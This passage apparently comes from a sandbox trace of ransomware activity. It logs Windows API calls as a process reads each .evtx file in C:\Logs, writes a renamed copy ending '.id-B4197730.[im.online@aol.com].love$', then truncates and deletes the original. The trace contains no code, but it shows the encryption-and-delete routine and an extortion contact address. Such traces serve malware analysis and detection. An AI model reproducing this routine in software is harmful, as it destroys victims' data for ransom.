-1 [0118.051] lstrlenW (lpString=".xlsx") returned 5 [0118.051] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.051] lstrlenW (lpString=".ppt") returned 4 [0118.052] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.052] lstrlenW (lpString=".zip") returned 4 [0118.052] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.052] lstrlenW (lpString=".rar") returned 4 [0118.052] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.052] lstrlenW (lpString=".bz2") returned 4 [0118.052] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.052] lstrlenW (lpString=".7z") returned 3 [0118.052] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.052] lstrlenW (lpString=".dbf") returned 4 [0118.052] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.052] lstrlenW (lpString=".1cd") returned 4 [0118.052] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.052] lstrlenW (lpString=".jpg") returned 4 [0118.052] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.052] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0118.052] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0118.052] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0118.053] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0118.053] CloseHandle (hObject=0x2d8) returned 1 [0118.062] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0118.062] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0118.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0118.063] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.063] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0118.063] GetLastError () returned 0x0 [0118.063] ReadFile (in: hFile=0x2d8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0118.287] WriteFile (in: hFile=0x37c, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.289] ReadFile (in: hFile=0x2d8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.289] WriteFile (in: hFile=0x37c, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x126, lpOverlapped=0x0) returned 1 [0118.289] SetEndOfFile (hFile=0x37c) returned 1 [0118.290] CloseHandle (hObject=0x37c) returned 1 [0119.461] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.461] SetEndOfFile (hFile=0x2d8) returned 1 [0120.476] CloseHandle (hObject=0x2d8) returned 1 [0120.476] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.477] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0120.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.486] lstrlenW (lpString=".doc") returned 4 [0120.486] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.486] lstrlenW (lpString=".docx") returned 5 [0120.486] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.486] lstrlenW (lpString=".pdf") returned 4 [0120.486] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.486] lstrlenW (lpString=".xls") returned 4 [0120.487] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString=".xlsx") returned 5 [0120.487] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.487] lstrlenW (lpString=".ppt") returned 4 [0120.487] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.487] lstrlenW (lpString=".zip") returned 4 [0120.487] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString=".rar") returned 4 [0120.487] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString=".bz2") returned 4 [0120.487] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString=".7z") returned 3 [0120.487] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.487] lstrlenW (lpString=".dbf") returned 4 [0120.487] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.487] lstrlenW (lpString=".1cd") returned 4 [0120.487] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.487] lstrlenW (lpString=".jpg") returned 4 [0120.487] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.487] lstrlenW (lpString=".doc") returned 4 [0120.487] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.487] lstrlenW (lpString=".docx") returned 5 [0120.488] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.488] lstrlenW (lpString=".pdf") returned 4 [0120.488] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString=".xls") returned 4 [0120.488] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString=".xlsx") returned 5 [0120.488] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.488] lstrlenW (lpString=".ppt") returned 4 [0120.488] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.488] lstrlenW (lpString=".zip") returned 4 [0120.488] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString=".rar") returned 4 [0120.488] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString=".bz2") returned 4 [0120.488] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString=".7z") returned 3 [0120.488] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.488] lstrlenW (lpString=".dbf") returned 4 [0120.488] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.488] lstrlenW (lpString=".1cd") returned 4 [0120.488] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0120.488] lstrlenW (lpString=".jpg") returned 4 [0120.488] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.489] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.489] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0120.489] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0120.507] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0120.507] CloseHandle (hObject=0x348) returned 1 [0120.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0120.508] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0120.508] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.508] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.513] GetLastError () returned 0x0 [0120.513] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.521] WriteFile (in: hFile=0x394, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.528] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.528] WriteFile (in: hFile=0x394, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x13a, lpOverlapped=0x0) returned 1 [0120.528] SetEndOfFile (hFile=0x394) returned 1 [0120.535] CloseHandle (hObject=0x394) returned 1 [0120.564] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.564] SetEndOfFile (hFile=0x348) returned 1 [0120.568] CloseHandle (hObject=0x348) returned 1 [0120.568] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.568] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0120.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.569] lstrlenW (lpString=".doc") returned 4 [0120.569] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString=".docx") returned 5 [0120.569] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.569] lstrlenW (lpString=".pdf") returned 4 [0120.569] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString=".xls") returned 4 [0120.569] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString=".xlsx") returned 5 [0120.569] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.569] lstrlenW (lpString=".ppt") returned 4 [0120.569] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.569] lstrlenW (lpString=".zip") returned 4 [0120.569] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString=".rar") returned 4 [0120.569] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString=".bz2") returned 4 [0120.569] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.569] lstrlenW (lpString=".7z") returned 3 [0120.569] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.569] lstrlenW (lpString=".dbf") returned 4 [0120.569] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.570] lstrlenW (lpString=".1cd") returned 4 [0120.570] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.570] lstrlenW (lpString=".jpg") returned 4 [0120.570] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.570] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.570] lstrlenW (lpString=".doc") returned 4 [0120.570] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.570] lstrlenW (lpString=".docx") returned 5 [0120.570] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.570] lstrlenW (lpString=".pdf") returned 4 [0120.570] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.570] lstrlenW (lpString=".xls") returned 4 [0120.570] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.570] lstrlenW (lpString=".xlsx") returned 5 [0120.570] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.571] lstrlenW (lpString=".ppt") returned 4 [0120.571] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.571] lstrlenW (lpString=".zip") returned 4 [0120.571] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.571] lstrlenW (lpString=".rar") returned 4 [0120.571] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.571] lstrlenW (lpString=".bz2") returned 4 [0120.571] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.571] lstrlenW (lpString=".7z") returned 3 [0120.571] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.571] lstrlenW (lpString=".dbf") returned 4 [0120.571] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.571] lstrlenW (lpString=".1cd") returned 4 [0120.571] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.571] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0120.571] lstrlenW (lpString=".jpg") returned 4 [0120.571] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.571] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.572] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0120.572] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0120.572] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0120.572] CloseHandle (hObject=0x348) returned 1 [0120.572] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0120.572] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.573] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0120.573] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.573] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.573] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0120.573] GetLastError () returned 0x0 [0120.573] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.577] WriteFile (in: hFile=0x2d8, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.580] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.580] WriteFile (in: hFile=0x2d8, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x136, lpOverlapped=0x0) returned 1 [0120.580] SetEndOfFile (hFile=0x2d8) returned 1 [0120.580] CloseHandle (hObject=0x2d8) returned 1 [0120.584] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.584] SetEndOfFile (hFile=0x348) returned 1 [0120.998] CloseHandle (hObject=0x348) returned 1 [0120.998] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.998] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0120.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0120.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0120.999] lstrlenW (lpString=".doc") returned 4 [0120.999] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString=".docx") returned 5 [0120.999] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.999] lstrlenW (lpString=".pdf") returned 4 [0120.999] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString=".xls") returned 4 [0120.999] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString=".xlsx") returned 5 [0120.999] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.999] lstrlenW (lpString=".ppt") returned 4 [0120.999] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0120.999] lstrlenW (lpString=".zip") returned 4 [0120.999] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString=".rar") returned 4 [0120.999] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString=".bz2") returned 4 [0120.999] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.999] lstrlenW (lpString=".7z") returned 3 [0120.999] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0120.999] lstrlenW (lpString=".dbf") returned 4 [0121.000] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.000] lstrlenW (lpString=".1cd") returned 4 [0121.000] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.000] lstrlenW (lpString=".jpg") returned 4 [0121.000] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.000] lstrlenW (lpString=".doc") returned 4 [0121.000] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString=".docx") returned 5 [0121.000] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.000] lstrlenW (lpString=".pdf") returned 4 [0121.000] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString=".xls") returned 4 [0121.000] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString=".xlsx") returned 5 [0121.000] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.000] lstrlenW (lpString=".ppt") returned 4 [0121.000] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.000] lstrlenW (lpString=".zip") returned 4 [0121.000] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString=".rar") returned 4 [0121.000] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.000] lstrlenW (lpString=".bz2") returned 4 [0121.001] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.001] lstrlenW (lpString=".7z") returned 3 [0121.001] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.001] lstrlenW (lpString=".dbf") returned 4 [0121.001] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.001] lstrlenW (lpString=".1cd") returned 4 [0121.001] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0121.001] lstrlenW (lpString=".jpg") returned 4 [0121.001] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 